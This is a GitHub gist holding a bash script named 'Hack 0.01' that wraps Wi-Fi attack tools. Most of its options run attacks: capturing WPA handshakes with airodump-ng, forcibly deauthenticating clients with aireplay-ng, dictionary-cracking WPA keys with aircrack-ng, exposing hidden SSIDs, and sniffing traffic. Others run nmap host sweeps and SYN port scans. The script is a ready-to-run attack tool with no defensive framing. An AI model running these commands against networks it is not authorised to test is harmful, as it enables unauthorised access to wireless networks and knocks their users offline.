Created
May 2, 2013 18:03
-
-
Save missinglink/5504066 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DIVIDER="--------------------------------------------------------------" | |
EOL="" | |
if [ -z "$1" ]; then | |
echo $DIVIDER | |
echo " Hack 0.01 (Jan 18th 2008)." | |
echo " Usage: " $0 "[-action]" | |
echo " Choose which action to perform:" | |
echo $DIVIDER | |
echo " wpapsk [channel][ap mac] capture 4-way handshake" | |
echo " kick [ap mac][client mac](total) de-auth client from AP" | |
echo " crack [ap mac][dictionary](cap_file) crack collected PSK handshakes" | |
echo " tcpdump dumps tcp data on ath0" | |
echo " getssid [ap mac] get hidden ssid from MAC" | |
echo " ips [start ip] IP addresses eg. 192.168.0.1" | |
echo " ports [ip address] Scan IP eg. 192.168.0.101" | |
echo $DIVIDER | |
exit | |
fi | |
if [ "$1" = "wpapsk" ]; then | |
cd /desk/wifi/results/ | |
clear | |
echo $DIVIDER | |
echo " [Sniffing for 4-way handshake from" $3 " on Channel" $2"]" | |
echo $DIVIDER | |
sudo airodump-ng -c $2 --bssid $3 --berlin 5 -w wpapsk ath0 | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "kick" ]; then | |
cd /desk/wifi/results/ | |
clear | |
echo $DIVIDER | |
echo " [Deauthenticating Client" $3 "from AP" $2"]" | |
echo $DIVIDER | |
if [ -z "$4" ]; then | |
sudo aireplay-ng -0 1 -a $2 -h $2 -c $3 ath0 | |
else | |
sudo aireplay-ng -0 $4 -a $2 -h $2 -c $3 ath0 | |
fi | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "crack" ]; then | |
clear | |
echo $DIVIDER | |
echo " [Cracking WPA for host" $2 " with dictionary" $3"]" | |
echo $DIVIDER | |
if [ -z "$4" ]; then | |
aircrack-ng -w $3 -b $2 /desk/wifi/results/psk*.cap | |
else | |
aircrack-ng -w $3 -b $2 $4 | |
fi | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "tcpdump" ]; then | |
clear | |
echo $DIVIDER | |
echo " [Dumping TCP Stream for ath0]" | |
echo $DIVIDER | |
tcpdump -n -e -s0 -vvv -i ath0 | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "getssid" ]; then | |
clear | |
echo $DIVIDER | |
echo " [Getting SSID for host" $2 "]" | |
echo $DIVIDER | |
sudo aireplay-ng -0 2 -a $2 ath0 | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "ips" ]; then | |
clear | |
echo $DIVIDER | |
echo " [Getting IPs for network" $2 "]" | |
echo $DIVIDER | |
nmap -sP $2/24 | |
echo $DIVIDER | |
exit | |
elif [ "$1" = "ports" ]; then | |
clear | |
echo $DIVIDER | |
echo " [Port Scanning target" $2 "]" | |
echo $DIVIDER | |
sudo nmap -sS $2 | |
echo $DIVIDER | |
exit | |
else | |
clear | |
echo bad option | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment